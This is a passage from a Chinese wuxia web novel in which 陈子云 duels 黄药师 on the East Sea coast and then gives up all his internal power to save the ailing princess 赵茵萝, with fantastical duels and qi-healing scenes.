“琴曲……悲千里。“ 陈子云在不断靠近箫声的同时开口吟唱。 “箫声……恋九天。” 陈子云身形忽然窜入高空,随着起伏的海浪,踏波而行。 少许,一个伫立在远处礁石上的高瘦身影已经若隐若现。 陈子云知道对方必然也看到了自己,将内力越发的激发几分。 “唯应……东……海……月。” 月之一字即出,海上的那轮云盘似乎也明亮了几分。随之而来的是更加激情的箫声,彷佛将周围的浪涛也压了下去。 陈子云也不由得被引动了心中的种种情绪,曲非烟,周芷若的身影在脑海中回荡。 “哈哈,好箫音。” 陈子云大声吐出一口胸中潜藏的气息。 “来就……我……与卿。” ”好,好,好,我黄药师自问够狂,没想到阁下更是狂狷。这韦元旦期期艾艾的一首诗,却被阁下改的如此跌宕。 好个‘唯应东海月’,好个‘来就我与卿’。 天上明月,辽阔东海,就算千载难变,也终究不如我与阁下这等快活人间。” 也许再过几年黄药师确实是邪的,可他如今不过三十来岁的年纪,以他的才华又如何能是不狂的呢! 第一百六十五章 较量 恐怕这也是他日后会对杨过那小子另眼相看的原因吧。如果对方只是一个普通的天才人物,可不能入东邪黄药师的眼,他看中的正是杨过那份独有的轻狂。 没看他连自己的聪明的无以复加的女儿和侠义到天下敬重的女婿都没有搭理的意思吗。 陈子云此时已经停在了黄药师的间隔两丈远的一块礁石上,打量着这位不过而立的此间最为惊艳的人物。 形相清癯,身材高瘦,风姿隽爽,萧疏轩举,湛然若神。身穿青衣直缀,头戴同色方巾,十足一个文士模样,倒是与陈子云相差彷佛。 这幅模样,要是居于庙堂之上,就应该是一位正直敢言的御史大夫形象吧。 “见过药师兄。” 陈子云既然有求于人,自然不会像初见洪七一般的咄咄逼人。 “哦,那么想来你就是那所谓子虚的主人了。” 黄药师略微沉吟就猜出了陈子云的身份。 “药师兄果然智慧非凡。” 陈子云不用问也知道,肯定是黄药师用了什么办法在那些负责跟踪他的人不清楚的情况下得知了一些情报。 “智慧自然是有的,可黄某不明白阁下为何如此大费周章的找在下?” “实在是……” 陈子云刚想趁机提出请他给赵茵萝治病的要求,却被黄药师制止了。 “且慢,以阁下刚才表现出来的武功修为,应当不输于黄某。” 好么,黄药师说话就是这么自信,不输于,嘿嘿,为什么就不能比你强呢。 “而以阁下刚才擅自修改前人诗篇,倒是也有几分韵味,想必学识也是不差。” 陈子云到现在也只能耐下心来,听他说完了。 “至于奇门术数,五行八卦,世人虽精通者少,也有终有些滥竽充数者,不必非要求到黄某人头上。” “……” 这算是有些自知之明,还是在贬谪天下才子? “医术,不对,光是医术,以你的本事大可以遍访名医,这虽然难,却比找黄某还简单些。” 陈子云点点头,表示同意。 “看来只有一样了,必然与是武功有关的,或者说是与黄某的几样独门绝技有关。” 黄药师虽然在猜,可语气上明显已经认定了。 “药师兄果然非常人,佩服,佩服。” 陈子云自然是奉承着。 “如此说来,我说对了。” 黄药师坦然道。 “八九不离十。” “哼,八就是八,九就是九,永远不会是十,原来你也是个俗物。” 陈子云在心里默念了几句阿弥陀佛,又念几句无量天尊才压下心中的怒气。 “我想请药师兄帮忙救一个人。这人……” “不用说了,不管这人是谁,都与我无关。” 黄药师果决的陈子云想打人。 “我连是何人都没说,药师兄何必急于拒绝?” “何人与我何干,就算是皇帝老儿,黄某不想救便不救。” 陈子云实在是不知道,对面这家伙是怎么活这么大的。或者他的父母是不是就是这样被气死的。 “呼……吸……” 陈子云深深的吸了一口气,知道自己这个时候再这么卑躬屈膝也不可能改变黄药师这种人物的态度,既然如此那就换个法子。 “听说药师兄的指掌拳剑都还不错,今天既然得见,比划?比划?” 陈子云的语气简直就是把黄药师当成了街头卖艺的落魄江湖莽汉,这要是不能激起黄药师的怒气,那才怪了。 这不,对方直接连回话都没有,陈子云就感到了一道劲力朝着他的嘴巴而来。 果然够邪,丝毫不顾规矩。陈子云同样用最快的速度,右手食指与中指相扣,在那劲道将要打中他的时候,轻轻在虚空中一弹。 明明空无一物的地方,却发出了一声如裂帛般的嘶鸣。 “咦?” 黄药师是眉头一动,发出了一声惊异。 “弹指神通,不外如是。” 陈子云斜眼一瞧,明显没有想到他也有这么神奇指法的黄药师正满脸新奇。 “接我,惊神指。” 陈子云也不含糊,直接以左手一指惊蛰,右手一指春分弹出。三月十五此时正是以这两指最为相宜。 惊蛰已至,春雷乍动,万物始鸣。春分不久,大地回暖,润物无声。 “好。” 黄药师眼色大动,刚才因为被陈子云激起的三分怒气已经不见,更多的是对陈子云这般同样神奇指法的见猎心喜。 黄药师广闻博识,对天下武功见多识广,故而能推成出新,自创种种绝学。这本来就是有不将天下武学看在眼里的意思,认为自己创出来的指掌拳剑都是超越前人的。 尤其是他苦心孤诣的创出了前无古人的弹指神通,这门神奇指法可以说是傲视当代,绝无仅有。 而当他看出陈子云使出来的这门惊神指,就凭借刚刚那两指,已然不在自己的弹指神通之下。 而对方那尚未施展出来的指法下明显还暗藏诸多变化,俨然已经在机巧之上胜了他的弹指神通一筹。 不过以黄药师的性格,又怎么会如此轻易的认输,不好好的以指对指的大战一番,如何能够。 黄药师收箫弹指,左右开工,这还是他创出弹指神通以来最为畅快的一次出手。 陈子云面对如三月春雨一般接连不断打来的指劲,自然也不敢大意。从立春到大寒,二十四节气指法如雨打琵琶一般的打出。 出指,碰撞,闪躲,换位。 如果有人此时来到这东海之滨,就可以看到神鬼降临般的一幕。 明月,碧海,人影在礁石之间忽闪忽现,隐隐可以听到几声盖过浪潮的沉闷声响。 有时像是重锤击鼓,有时又似刀剑相击。 直到两人都打的的指头发红,浑身出汗,又被自己升高的体温蒸发,在两人的头顶形成了一股淡淡的烟雾。 更将两人映衬的犹如在明年月中打架,一路打到人间的仙家。 陈子云心胸起伏剧烈的站在一块已经被打的几乎破烂的礁石上,而对面的黄药师也是不复初见时的潇洒摸样。 “黄岛主,可尽兴了?” 陈子云先开口问道,这也算是变相的承认自己率先退让了。 “哼。” 可陈子云的示弱得来的不是黄药师的尊重,反而是一声不屑的冷哼。 第一百六十六章 尾随 随后,便见他脚下一用力,直接就离开了那块礁石,身形变换,瞬息之间就隐入了夜色之中。 “黄……” 陈子云还想挽留,可随即想到,以黄药师的性子,对方要是不自己愿意,就算他现在追上去也是枉然。 陈子云不由得有些心冷,这架算是白打了。早知道就不应该藏着最后的三指弹天不用,应该好好教训对方一番才是。 虽然同样无用,但最少能给自己出口气不是,亏啊! 来的时候,陈子云虽然知道要请动黄药师必然不容易,可毕竟是怀着一份希翼的。 如今碧海浪涛,明月依旧,情绪却是天差地别。 他并不介意黄药师的性格古怪,毕竟陈子云在这方面也是有脾气的。而且是自己有求于人,总不能自己求人,人家就必须答应,从来就没这样的道理。 只是对于赵茵萝那几乎已经快到极限的生命潜力,着实让他内心不安。 如果自己一开始没有插手对于赵茵萝的治疗,即便她此时已经死了,估计陈子云也不会感到愧疚。 可既然自己已经插手,而且对方的身体确实因为他的不计后果的治疗,反而变得漏洞百出,生命潜力也提前耗尽,如何能让陈子云安心。 对于这么一个惹人恋爱的小女孩,眼见她就要死在自己的手里。愧疚,后悔,要说没有,那陈子云实在是骗不过自己。 这一路上走来,就算是赵茵萝大部分时间都是坐在马车上,可那显现出来的异相,恐怕她身边的那些熟悉她的人也看出来了。 赵茵萝在表面上看,如今已经跟正常的少女并无两样,甚至还要更加的健康一些。 但是一旦劳累过后,她的恢复能力却只有正常人的一半,甚至更低。 所以每天晚上她都睡的很早,可起床却是很晚。 这是因为赵茵萝的身体,需要超越常人几倍的睡眠时间,才能补充被消耗掉的精力。 而且这样的情况已经越来越明显,越来越严重。陈子云有时真的担心,这小丫头一觉睡过去就再也不能醒了。 陈子云回到在庆元府买下的院子里,示意守在赵茵萝房外的丫鬟噤声。 缓缓坐到赵茵萝的床头,看着那已经陷入梦乡的小公主。 虽然这小丫头学着妇人一般的开了脸,盘了发髻。可眉眼之间的青涩,不是靠这些就能抹去的。 陈子云轻轻的点了点她的额头,那里的两蹙峨眉交锋,似乎在梦中遇见了什么焦虑的事情。 “嗯嗯……嗯嗯嗯……” 陈子云不由自主的哼起了一种舒缓旋律,也不是什么成调的歌谣,只是将声音尽量的放低、温柔。 “原来是个小丫头。” 陈子云听到这突兀的声音,全身的气息暴涨,顷刻之间已经到达了巅峰。 目光犹豫两道出鞘的利剑,直射屋顶。 陈子云直接将赵茵萝连着被子一起抱起,紧紧搂在怀里,因为没有哪个地方,比那里更加的安全。 院子里的护卫也被惊动,所有人都神色凝重的望向屋顶。 那个青衣书生就这么坦荡荡的站在屋顶之上,眼里只有满是戒备的陈子云。 “阁下也是难得的绝世人物,却被这个黄毛丫头所左右,当真是可惜啊可惜。要是我此时朝着你出手,你又能接我几招?” 黄药师原来在东海之滨的时候并没有真的退走,而是不知道什么时候重新又跟上了陈子云。 其实这么说也不对,当时的黄药师已经看出来了,陈子云不仅在指法上与自己不相上下,而在内力的深厚上更是比自己要高出半筹。 要不然,当时两人罢斗之后,先开口说话的也就不会是陈子云了。 可这样的发现,让向来目空天下英杰的黄药师一时间如何能接受。 本来只是想一走了之,可随着他冷静下来,才发现这样的遇强则避,绝不是他的个性。 所以又立刻回返,本来是想以他引以为好的“落英神剑掌”再跟陈子云再切磋一下掌法,以期待能扳回一局。可等他靠近的时候,却发现,似乎此时的陈子云有些心不在焉。 竟然连自己的靠近都没发现,这绝对不是正常状态下的陈子云。 这就引起了黄药师强烈的好奇心,他疑惑着到底是什么事情,能让陈子云这样的人物恍然若失,神不守舍。 直到他跟着陈子云来到了这栋大宅里,看到陈子云坐在一个小姑娘的床前,看着那妇人打扮的少女,黄药师自然猜出了两人的关系。 心里暗自嗤笑,没想到陈子云这般的人物,竟然被一个女人给拴住了手脚,枉费自己还将他当成了难得一遇的对手。 此时的黄药师可不是那个有妻有子的老东邪,而是真正孑然一身,毫无牵挂的天下第一狂士。 “黄……药……师。” 陈子云全身的气息都瞬间笼罩向屋顶的黄药师,要是对方真的敢在这个时候趁机攻击自己怀里的赵茵萝。 他可不管对方是不是未来女主角他爹,小李飞刀例不虚发可不是说着玩的。 黄药师也在陈子云放出气势的瞬间察觉到了异样,这是一种他从来都不曾体会过的感觉。 彷佛此时的自己,就是陈子云案板上的鱼肉,只要对方愿意,就可以轻易的取了他的性命。 这让黄药师不可置信,也绝对不愿意相信,这世间有人能如此轻易杀他。况且,他黄药师何许人也,即使是死,也绝不会让人给吓的不敢反抗。 所以他的反抗就是,直接一招“落英神剑掌”中最是迅疾的“雨急风狂”朝着陈子云的头顶打来。 陈子云略微眯眼,这一掌来时如落英缤纷,头顶四周都是掌影,虚虚实实,如桃林中狂风忽起、万花齐落一般。姿态飘逸,宛若翩翩起舞,而掌法却又凌厉如剑。 不愧是从剑法中创出的掌法,果然犀利至极。 不过此时相思小刀已经在手,因为此时陈子云的右手抱着赵茵萝,所以只能左手出刀。 第一百六十七章 喜怒无常 一抹艳红飘过,好似是一只娇艳的蝴蝶闯入了花瓣零落的桃花林中,将这漫天的花雨搅碎。 “嗯哼。” 一声闷哼,黄药师不可思议的看着自己的左肩,一把晶莹剔透的粉红色小刀正插在那里,直接穿透了他的肩胛骨。 要不是黄药师在最后本能的抖动了一下肩膀,这把小刀此时就应该插在他的心脏之上。 黄药师甚至都没有再躲避,而是愣愣的看着陈子云问道。 “这是什么刀?” “能杀你的刀。” 陈子云此时并没有放下戒备,要是说天下五绝里,谁是最不可预测的,那自然是黄药师莫属。 别的几人自然不用说,就算是西毒欧阳锋也不是不能交流,或者说是利用的。 唯有这位东邪,陈子云丝毫不怀疑他能在突然之间做出最匪夷所思的事情,这种永远不符合正常逻辑的人物,才是最不可控的。 所以,但凡此时的黄药师还敢出手,他绝不会手下留情。 “不错,不错,要不是你右手受制,左手明显没能全力出刀,这一刀确实能杀我。 好刀,好刀啊!” 黄药师竟然留着自己肩膀上的刀伤不顾,反而赞叹起了陈子云的刀法来。 真是个疯子,癫子。 这是在场的其他人对他的评价。 “还不走,难道你还想接我一刀不成?” 陈子云此时并不想再跟黄药师纠缠,他怕连累了怀里的人。 “走?不,我黄药师既然受了别人的救命之恩,如何能不回报就走。” “什么?” 陈子云丈二和尚摸不着头脑,不知黄药师在说什么糊涂话。 黄药师指指还在陈子云怀里酣睡的赵茵萝。 “想必,这就是你想让我救的人吧。看来病的不轻啊,如今我黄药师既然因为她而逃得一命,自然也要还她一命。” 陈子云眉头紧皱,心里虽然惊喜交集,可一时又不确定,这黄药师是不是在戏耍自己。 “怎么,以为我是在耍心机。既然如此,黄某去也。” 黄药师作势就要离开。 “等等,我信你,你先看看她。” 陈子云此时也是别无他法了。 …… “奇哉怪哉,在医理上,这位本来也应该辞世了,可却被人用不可能的手法给硬留了下来。 而从相术上看,这位早凋的金枝、旱死的玉叶,却是应该死在丙辰的(也就是去年)。 子云兄何以教我?” 黄药师在粗粗的处理一下自己的伤势之后,就直接给赵茵萝做了一个详细的检查。 而当他发现不管是从医学上还是从相学上,这位身份有些贵不可言却注定短命的少女既然奇迹般的活了下来。这 让他又将目光自然的转向了陈子云,能做到这么匪夷所思,化不可能为可能的事情,必然只能是这位了。 他的目光,灼灼的盯着陈子云的脸不放。 陈子云自然知道,这个时候自己不可能瞒得过精通医术相术的黄药师。所以他就把自己用九阴真经跟先天功救赵茵萝的事情,描述为以道家奇人所创的养生功法,通过自己内力与赵茵萝像通的法子,激发了身体对方的潜力,以此延寿。 甚至除了没说出王重阳和九阴真经的名字,陈子云连运功的关键一五一十的解释给了黄药师。 “好功夫,子云兄就不怕我偷学了这奇功绝技,反过来对付你?” 黄药师故意眯着眼,恶意森森的瞧着陈子云。 陈子云此时当然不会在意这些,那些功夫,不过是自己从王重阳的不完整的先天功跟九阴真经的疗伤篇里悟出来的东西。 并不能算是一部完整的武学,要是黄药师能从中得到什么借鉴,那也是他自己的本事。 还是那句话,看看黑风双煞把半部九阴真经练成什么鬼样子。不是所有人拿到武功秘籍就能成高手的,武功的高低,重点不在于秘籍本身,而在于人。 “那药师兄,是否觉得学了这套功夫,就有把握躲过我的飞刀?” 黄药师听到这句话,刚才还等着看陈子云后悔莫急的半点笑脸立刻变的僵硬了。 反而是皱起眉头,似乎是在认真的思索,揣摩自己倘若真的学了这套功夫之后,能不能躲过…… 想到这里,黄药师就直接给了自己一个耳光,半边脸瞬间红肿。 他黄药师竟然在第一时间想到了躲?这简直比杀了他还难受,他什么时候怯战过? 陈子云也是目瞪口呆,不明白黄药师好好的怎么就开始自扇耳光了。 “不错,你那一刀我在五年之内绝对接不下。” 黄药师回话的正经严肃,却让陈子云有些坐蜡了。这边可还有个人等着他救命呢,不会被自己又给气走了吧。 “嫂夫人的情况我大致了解了,不过这样的先天之本缺失,我也是第一次遇见。子云兄,这瓶九花玉露丸你先收着。 里面还有十粒药丸,先以五天喂一粒,如果嫂夫人还是长睡不醒,那就三天喂一粒。 我要先回桃花岛,查查以往是否有类似医案。” 陈子云连忙起身朝着黄药师一拜,以感谢对方的帮忙。 “黄某此生最恨这些虚礼,黄某想救人自然会救。要是不想救,你就是跪下磕头,我也只当看戏。你要是还如此,那这人我不救也罢。” “药师兄放心,只此一拜,别无他想。” “我这一去,以一月为限,要是嫂夫人又突然症状,你就派人从东海之滨出海,船上挂黄帆,一路东行即可。 我看到了,自然会来。” “好。” 陈子云也知道黄药师就是那种最干脆的行动主义者,也就直接了当的应答了一声。 “唔……” 一声犹如奶猫春睡将醒的低吟。赵茵萝的眼皮略略的跳动了几下,随即就要睁眼。 陈子云只是微微的感觉到一阵春风去远,黄药师已然不在眼前。 看黄药师那迅雷般的步伐就知道,对方是故意在他面前显示又进步了一分的身法脚力。 所以啊,永远不要小看一个天才的好胜心,他跟东海之滨的那些礁石一样坚硬。 “咦,子云师傅,我刚刚好像感觉床边有人。啊,我是说别的人,还是个男人。” 赵茵萝迷迷糊糊的说着,不知是在梦呓,还是真的察觉到了黄药师的存在。 有人说,其实人在刚睡醒的时候的感官是最灵敏的。因为你处在最为放松,最为自然的状态下,眼耳鼻舌身意都在最敏感的时刻。 第一百六十八章 姗姗来迟 陈子云把大致的情况向赵茵萝描述了一遍,当然关于黄药师的那种已死之人的判定自然没说。 只是说她的病遇见了这位怪才奇医肯定会大有好转,还把九花玉露丸倒出来一粒递给他。 可赵茵萝则是一副泫然欲泣的摸样看着陈子云,似乎受了天大的委屈。 “怎么了?有哪里不舒服吗?” “呜呜呜,子云师傅怎么能让别的男子在茵萝睡觉的时候进入房间呢。那茵萝的不是被……呜呜……” 陈子云一拍自己的额头,这小丫头原来是在纠结这个啊。 “人家是医者啊,不进你房间难道还要我把你抱出去吗?” 赵茵萝这下更害羞了。其实他们两人完婚以来,并没有太多的亲密举动。听着陈子云说出要抱自己的话,怎么能让这个天下第一大家闺秀,不害羞。 “子云师傅,你欺负人,你坏……” 陈子云一指轻轻点在赵茵萝的额头上。 “吃药。” …… 接下来的几天里,赵茵萝变得比平时更加的多动,当然精力确实也好了许多。要不然陈子云就要怀疑,黄药师给自己的是兴奋剂而不是九花玉露丸了。 这多出来的精力,自然是得由陈子云陪着赵茵萝消耗掉的,不管是游览庆元府的陆地风光,还是直接开船出海。 在呕吐与惊呼声的循环中,小公主过足了远航东海,碧波踏浪的瘾。 “子云师傅,我现在才知道,原来你跟我说的大海竟然是这般摸样的。” 这是赵茵萝第一次看到这与天地相连的无边浪潮时发出的感慨。 对于没有真正的见过海洋的人,是无法真正体会这种辽阔到无边无际的感觉的。 大地也许也有一眼四周皆是原野的的景象,可这与大海却是完全两样的。 在大地之上,因为你的双脚始终与之相连,骨子里的安全感会给你一种能看见天地分合以为界限的视野。 可一旦当你乘舟漂泊于大海之上,那种水天难分,碧海与蓝天一色的壮阔,给你的是难以名状的虚无与广大无边。 等陈子云带着赵茵萝玩遍了山海,吃遍了连一些当地渔民都不敢入口的海鲜,以离去满月的黄药师却依旧杳无音信。 陈子云早就派出了不下十艘张着黄帆的海船,不仅是东方,东南西北都发了个遍。 要不是不知道桃花岛的具体方位,陈子云早就自己亲自出发登岛了。 可等到,黄药师留下的那瓶九花玉露丸也只剩下三粒,而以现在赵茵萝的消耗程度,也就是十天的量。 “这个不靠谱的黄老邪,早知道直接让人跟着他去桃花岛不就好了。” 陈子云不由得有些自责,但是他却没有想过,一般人想上黄药师的桃花岛是多么的艰难。 “子云师傅,你何必如此。虽然我没有见过那位你口中的黄大侠,但是我看得出你是多么的信任他。 既然他许下了承诺,自然就值得我们等待他,要不然岂不是应了夫子说的那句‘与朋友交而不信乎?’” 赵茵萝将自己的脑袋靠在陈子云的胸口缓缓说道。这是她第一次如此自然的与陈子云肌肤相亲。 即使所有人都在瞒着赵茵萝她如今的身体情况,可她并不是一个什么都不知道的懵懂少女。 她只是不想让她最心疼自己的娘娘,永远忙碌着的爹爹,自己名义上的丈夫实际上的师父,还有其他所有真心关怀她的人担心而已。 一个人对于自己的身体状况,就是再无知也起码也能感受到,自己长久与否。 至于陈子云告诉她黄药师一定能治好她的病,她也不过是不想让陈子云失望,才会表现的那么欣然。 从赵茵萝记事开始,她就从来没有间断过问诊跟吃药,宫廷里的御医也不知道因为她而换了几茬。 要不是她勉力装着每次碰到新的御医开药,她都会在吃完药之后就表现得好了许多。 以免这位新来的御医被自己的爹爹怪罪,也不想让自己的娘娘失望。 “子云师傅,咳咳,你知道吗?别看爹爹好像很威严的样子,其实他很笨的。” 赵茵萝夹着一些咳嗽,开始数落宋宁宗了。 “每次我都骗他,药是甜的,他都会相信。呵呵呵,咳咳,子云师父,你说他笨不笨?” 陈子云将内力缓缓输入赵茵萝的肺脉,以减缓她的咳嗽。 “不过这也好,起码说明爹爹一定是很少吃那些又苦又黑的药汤。子云师傅,你知道吗?茵萝这辈子在遇见你之前,喝的菜汤还没有药汤多呢。咳咳咳……” “好了,茵萝,先别说话,先睡一会儿吧。” “不,不要,子云师傅,不要点茵萝的睡穴,我怕,我怕……” 赵茵萝有些激动的揪住了陈子云胸口的衣襟。陈子云抬起的手指犹犹豫豫的从她背后滑下。 “子云师父,在遇见你之前,我从来没想过我也会有做新娘的那天。” “我本来想着,要是能多陪陪娘娘就好了。你不知道,其实娘娘一个人在后宫的时候,很无聊的。 爹爹又那么忙,还有那么多的嫔妃。要是没有妞妞陪着她,我怕娘娘都不知道怎么过活了。” 这句话也让陈子云想到,这位韩皇后在历史上确实也英年早逝的,说不准就是因为这位掌上明珠的逝世,伤心欲绝的。 “别胡思乱想。” “不是的,子云师傅。” 赵茵萝像一只小猫一样轻轻的拱了拱陈子云的胸膛。 “其实,茵萝已经很知足了。” “那就努力活下去啊。” “能成为娘娘的女儿,能成为你的妻子。” 赵茵萝似乎没有听到陈子云的话,依旧自顾自的说着。 “子云师父,不……相……公,其实……茵萝在出嫁的时候,有专门的嬷嬷教过……教过我怎么做一个妻子的。” 陈子云感受到胸口的人在微微的颤抖。 “别说了,黄药师一定会来的。” “可当时,茵萝怕了,嬷嬷说,会疼的,所以茵萝……茵萝好后悔啊……” 陈子云感觉趴在自己胸口的少女变得越发虚弱了,连攀在自己肩头的那只手也开始滑落。 第一百六十九章 传功 陈子云捉住那只即将掉落的小手,轻声呼唤着“茵萝,茵萝。” “黄……药……师。” 陈子云一声爆喝,声音沿着浪涛的源头直奔大海深处。 “黄某既然说了会回来,自然会回来,子云兄何必如此大呼小叫。” 依旧青衫文士摸样的黄药师牵着一个小女孩出现在岸边。 陈子云非但没有丝毫松口气,反倒是直接一跃上前,在黄药师也来不及反应的瞬间,直接一把掐住了那个小女孩的咽喉。 “放下。” 黄药师直接一掌拍在陈子云的后背,可此时的陈子云却像是没有感觉似的,任凭背部的骨头发出凄厉的哀鸣,也没有放下那个女孩儿。 “你要是治不好她,我就让她陪葬。” 此时的陈子云哪里还有半点书生的温润摸样,那被海风吹起的长发,浑身散发着如魔头一般肆虐妄为的邪气。 黄药师看着自己的手掌,又看了看陈子云如此陌生的摸样,突然发笑。 “哈哈哈哈,哈哈哈哈……” 谁也不知道他在笑什么。 “救她,当然可以,我也想好了救她的法子。可子云兄,你倒是舍得吗?” “说。” 黄药师似乎在下一个决心,又有些疑虑的看了看快被陈子云块掐的断气的小女孩。 “把你的全部功力都给她。” “什么?” 饶是如此状态的陈子云也是一愣。 “怎么,舍不得?” 黄药师满脸的嘲讽。 “如何做?” 黄药师沉默了三息。 “用你的全部功力,弥补嫂夫人流失的生命潜力。也只有你的内力,因为长期在她体内流走,才不会被排斥。” 陈子云不等黄药师说完,直接双掌抵住赵茵萝的背心。 “药师兄,帮我护法。” 被陈子云松开的小女孩拼命的在一旁咳嗽着,那看着陈子云的目光中,愤恨中带着深深的恐惧。 黄药师从随行的包裹里拿出了一包金针,随着他手指微微颤抖,本来软如柳枝的金针立刻变的坚挺似铁。 黄药师来到赵茵萝的面前,手中的金针第一根就朝着她的百会穴缓缓而下。 赵茵萝此时已经昏厥对此毫无反应,反倒是陈子云看得心惊肉跳,冷汗直流。 这要是黄药师稍微出点差错,赵茵萝哪里还有命在。 不过事情到了此时,陈子云知道自己只能选择相信黄药师。其实他现在又哪里有选择的余地,如果此时的黄药师不来,他就真的只能给赵茵萝收尸了。 接着前额,眼下,额下,脖颈,黄药师手中的金针一根根的插入赵茵萝的身体。甚至为了方便下针,黄药师毫不避讳的直接解开了赵茵萝的衣襟。 陈子云倒是没有什么介意的,只是想着这事可不能让赵茵萝知道。 随着黄药师的金针度穴,陈子云明显发现自己本来渡过去十分的内力只能留在赵茵萝体内三分,如今却在慢慢的增长,此时已经将近有一半能留下了。 这可不要小看了这效率,要知道陈子云的经络强度可不是赵茵萝能比的。所以他在传功的时候,必须是小心翼翼的,一旦损伤到赵茵萝的经脉那就是前功尽弃了。 而黄药师的金针度穴明显就是预先想到了此处关节,用外力在不断的刺激赵茵萝的经脉吸收内力并且强化自己。 黄药师金针渡穴完成之后,又从怀里掏出了一些药丸,小心的碾开,将粉末擦在赵茵萝的鼻子下。让她通过呼吸,缓缓的将药粉吸入。 “吁……” 黄药师在做完这一切的时候,也长出了一口气。明显刚才的操作对他的消耗也绝对不小。 那个刚才被陈子云扔在一旁的小女孩,拿着水袋走了过来,殷勤的给黄药师递上。 “师傅,喝水。” “咕咚,咕咚……” 黄药师畅快的喝了半个水袋。要知道他刚才全神贯注的施展金针度穴,不仅消耗了他的内力,更是耗费精神。 而一个人在高度集中精神的时候,是会快速消耗身体中的水分的。 这也是人们平时感到紧张就特别容易口干舌燥的原因。 不过想到不久之后的陈子云即将成为一个武功全失的废人,黄药师不由得又觉得即有幸灾乐祸又有些怅然若失。 黄药师看了一眼自己刚收的小徒弟,见她眼神不善的看着陈子云,心里一乐。 “若华,你要是记恨这家伙刚才的粗鲁行径,你过会儿到是有的机会报仇的。” 梅若华被自己刚认的师父看出了自己的小心思,有些踌躇,毕竟在她心里,凶恶的女人总是不讨人喜欢的。 “师傅,不,若华……” “哼,难道我黄药师的徒弟,连仇都不敢报吗?” 黄药师一声冷哼。 “是是。” 梅若华连忙点头应是,随即朝着陈子云盘坐的地方走出了两步。 “我黄药师的弟子可以报仇,就算趁人之危也无不可。但绝不能犹犹豫豫,踌躇不前。你竟然自知如今没有报仇的本事,那就等练好了本事再来。” 黄药师又一句话出口。梅若华只能讪讪的回到了他的身边,只是那盯着陈子云的眼神变的更加的阴郁。 陈子云虽然能听到周边的声音,但他此时自然没心思去管黄药师教徒弟。 他的全部心神都投注在赵茵萝的身上,而随着自己体内的内力逐步注入赵茵萝的体内。 无力的感觉越来越明显,让他需要更废心思的控制越来越少的内力。 自从得到天授的神功之后,陈子云还从来没有感到自己如此的虚弱过。 那些离开自己的内力,就像是被抽走的鲜血一般。 刚开始的少量抽血并没有什么不适的症状,可等超过了一定的量,你就会头晕,全身乏力,最后就是浑身冰冷,然后死亡。 陈子云此时整个人已经跟从水里捞出来一般了。运功过度的热汗,加上气虚的冷汗,让他如今的状况非常的糟糕。 “你现在要是出个疏忽,那死的可就不是嫂夫人一个人了。倒是能做一对同命鸳鸯,到也是个佳话。” 黄药师一边弹动着那些已经被赵茵萝体内的积蓄的内逼出了一半的金针,一边玩笑似的说着。 第一百七十章 白发 陈子云此时自然没法开口回答他,他现在控制自己的内力不乱已经是用尽全力了。 “结发为夫妻,恩爱两不疑。” 黄药师似乎看着陈子云舍生救人的样子有了几分感慨,尽然有些落寞的吟起了诗。 “欢娱在今夕,嬿婉及良时。” 他此时吟诵的乃是两汉之间,苏武所做的《留别妻》,这首诗大意是写新婚不久的男子被征募当兵。 自此一去,生死难知道,所以此诗的最后一句“生当复来归,死当长相思。” 更是寄托了爱人之间的生死相别,这倒确实是与此时陈子云和赵茵萝的情形有相似之处。 他们现在的情况,只要一个不小心,就是生死长别。 黄药师也难得的被激起了几分对人世间男女之爱的向往。以往在黄药师的眼中,世间的女子多为蠢妇,哪里有能配的上他的。 要是让他与一个只知道所谓的妇功妇德,话里话外家都是长里短的庸俗蠢妇共度一生,那还不如自己一人孤独终老。 黄药师插入赵茵萝体内的金针终于就要被她体内积蓄的内力给完全逼出了。 “盈满则溢,收。“ 黄药师低喝一声的同时一掌拍在陈子云的背心,一股内力将两人黏连在一起的内力彻底断开。 赵茵萝满面红光的摊到在地,梅若华已经被自己师父吩咐过轻轻的接住了赵茵萝的身体。 小女孩到还算是恩怨分明,虽然她对陈子云很是不待见,但是对于这位看着普通却尤其惹人怜爱的姐姐有几分怜惜。 陈子云一脸的苍白,嘴角之间甚至还有几道血丝。不过这已经算是好的了,要不是最后黄药师的那一掌,估计他说不好就要油尽灯枯了。 黄药师的那一掌,不仅是将已经几乎被赵茵萝主导的内力扯断,还将一分内力留在了陈子云的体内,不至于让他直接脱力而亡。 “子云兄,还能出刀否?” 黄药师笑问道。 “那就……看药师兄,敢不敢接了。” 陈子云明明都快喘不上气了,可嘴上终究是不原因认输。 “哈哈哈,好好,我黄药师向来瞧不起天下之人,可子云兄你却是个例外了。武功尽失还能有如此坦荡心境,也不枉我如此帮你一场。” 整个传功的过程起码也有两三个时辰,等陈子云抱着还在昏睡的赵茵萝回到宅院的时候,已经是夜半时分。 因为按照赵茵萝的要求,他们这次出去并没有带上仆人,可能也是她已经感觉到了自己大限将近,想独自与陈子云做最后的告别,不想被打扰吧。 “驸马,公主她……” 守夜的嬷嬷欲言又止,那泫然欲泣的神情似乎在问,赵茵萝是不是已经西去了。 “嬷嬷放心,茵萝只是睡着了。” 陈子云一路将赵茵萝抱进了她的房间。这次他没有再像以往一样离开,因为他要时刻看护着。 如今自己的全身内力都在她的体内,要是这小丫头醒来的一不下心动了全力,可容易伤着自己。 就算是只留下了五六成,也不是一般人可以直接操控自如的。 迷迷糊糊中,陈子云习惯性的爬上了床榻。 他今天实在是感觉太过于劳累,一躺下也就睡了过去。 天顶星宸罗布,明月从不与之争辉,他们不过是同时闪耀夜空的伙伴。只是世人总是希望着,月明,星更亮。 陈子云一觉睡的好沉,沉的就算是此时黄药师突然偷袭他也不会惊醒。 能唤醒他的只有第二天高升的朝阳。那温暖的如同情人爱抚的温柔,才是唤醒他的唯一。 陈子云隐约察觉到似乎有一些温润的柔软的东西在他脸上爬行,可爬着爬着却变得冰凉。 被这冰凉一激,陈子云有些不欢喜的睁开了眼睛。 阳光已经从窗户的缝隙里照耀进来,一片洒下的阳光中有一个娇小的身影挡住了一半。 而那闪着晶莹的,从她脸上低落到他脸上的泪滴,就是陈子云刚才感知道的东西。 “怎么哭了?” 陈子云不说还好,赵茵萝只是自己捂着嘴儿轻轻啜泣,可被他这一挑明,哭声伴随着眼泪却像是瀑布一般倾泻下来了。 “公主?” 在门外不知道守候了多久的侍女们连忙进屋来。 “出去。” 明明是一声简单的呵斥,可随着赵茵萝下意识的调动了身体内的磅礴内劲。众侍女彷佛在耳边传来了雷鸣,纷纷哀嚎不已。 赵茵萝也是被自己的这一变化给惊呆了,看到被自己伤到的人,更是一时间不知所措。 “没事了,你们先出去。” 